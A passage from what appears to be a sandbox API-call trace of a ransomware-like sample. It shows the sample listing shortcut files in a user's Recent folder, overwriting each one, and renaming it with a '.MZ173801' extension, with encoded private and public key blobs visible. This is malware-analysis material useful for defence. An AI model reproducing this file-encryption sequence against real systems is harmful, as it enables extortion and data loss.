lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.102] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x453 [0153.102] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.102] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x453, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x453, lpOverlapped=0x0) returned 1 [0153.102] CloseHandle (hObject=0x280) returned 1 [0153.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.104] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x453, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x453, lpOverlapped=0x0) returned 1 [0153.105] CloseHandle (hObject=0x280) returned 1 [0153.106] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zkcrT -8SHIvOP_POgOU.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkcrt -8shivop_pogou.lnk.mz173801")) returned 1 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] GetCurrentThreadId () returned 0xab4 [0153.106] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ded904, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0ded904, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0ded904, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="zlyONG3Bll4oZ.lnk", cAlternateFileName="ZLYONG~1.LNK")) returned 1 [0153.106] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.107] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ded904, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf0ded904, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf0ded904, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5ba)) returned 1 [0153.107] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk")) returned 0x20 [0153.107] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk", dwFileAttributes=0x80) returned 1 [0153.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.139] GetCurrentThreadId () returned 0xab4 [0153.139] GetCurrentThreadId () returned 0xab4 [0153.139] GetCurrentThreadId () returned 0xab4 [0153.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.140] GetCurrentThreadId () returned 0xab4 [0153.140] GetCurrentThreadId () returned 0xab4 [0153.140] GetCurrentThreadId () returned 0xab4 [0153.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.141] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.141] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.141] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5ba [0153.141] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.141] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x5ba, lpOverlapped=0x0) returned 1 [0153.142] CloseHandle (hObject=0x280) returned 1 [0153.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.144] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x5ba, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x5ba, lpOverlapped=0x0) returned 1 [0153.145] CloseHandle (hObject=0x280) returned 1 [0153.146] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zlyONG3Bll4oZ.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zlyong3bll4oz.lnk.mz173801")) returned 1 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] GetCurrentThreadId () returned 0xab4 [0153.147] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x804185a4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x804185a4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x804185a4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_4dYp.lnk", cAlternateFileName="")) returned 1 [0153.147] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.147] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.147] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x804185a4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x804185a4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x804185a4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be)) returned 1 [0153.147] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk")) returned 0x20 [0153.147] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk", dwFileAttributes=0x80) returned 1 [0153.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 